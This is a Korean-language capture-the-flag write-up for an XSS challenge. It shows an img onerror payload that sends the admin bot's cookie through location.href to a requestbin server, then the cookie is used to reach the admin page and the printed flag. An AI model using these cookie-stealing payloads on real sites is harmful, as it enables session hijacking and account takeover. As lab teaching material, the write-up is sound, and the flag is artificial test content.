1. Description
You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?
Author: aplet123
2. Write up
문제 페이지로 접속하면 위와 같은 페이지가 나온다. 해당 페이지는 Home, Post, Report, Admin 이렇게 4개의 탭을 갖고었다.
Post 탭에서는 게시글을 쓸 수 있었기 때문에 XSS 취약점을 이용해 admin의 권한을 획득하는 문제라고 추측했다. 일반적인 <script>alert(1);</script> 구문은 공격이 되지 않았다.
<img src=/ onerror="alert(1)"></img>로 게시글을 작성한 뒤 해당 게시글의 post 번호로 들어가면 위와 같이 XSS 취약점이 있음을 확인할 수 있다. 이제 이 공격 구문을 이용해서 관리자의 쿠키를 탈취할 것이다. 그렇지만 관리자자 해당 글을 읽지 않을 경우 쿠키를 받아올 수 없다.
Report로 가보면 게시글에 대한 신고 기능이 있었고 게시글 번호로 신고가 가능하다. 신고를 하게되면 관리자가 이를 지운다고 한다. 글을 지우기 위해서 관리자가 접근할 때 관리자의 쿠키를 탈취하면 된다.
"requestbin.com"이라는 사이트를 통해서 임시 서버를 생성하고 이 서버로 관리자의 쿠키가 넘어올 수 있도록 구성할 것이다.
위와 같이 임시 서버를 구성했고 이제 공격 구문을 게시글에 삽입할 것이다.
공격 구문은 <img src=xss onerror='location.href = "[쿠키를 받는 서버]" + document.cookie;'> 이렇게 구성하고 쿠키를 받는 서버에 위에서 만든 URL을 입력하면 된다.
게시글을 생성하면 위와 같이 게시글이 생성되는데 게시글은 15분이 지나면 삭제되기 때문에 그 안에 공격을 시도해야 한다.
Report 페이지에서 공격 구문을 삽입한 페이지의 ID를 입력하고 신고를 한다.
조금 있으면 임시로 생성한 서버에 admin의 쿠키값이 넘어온 것을 확인할 수 있다.
넘어온 쿠키를 쿠키 변조 툴인 "edit this cookie"를 이용해서 변조한다.
쿠키를 변조한 뒤 관리자 페이지를 가면 플래그를 얻을 수 있다.
3. FLAG
actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}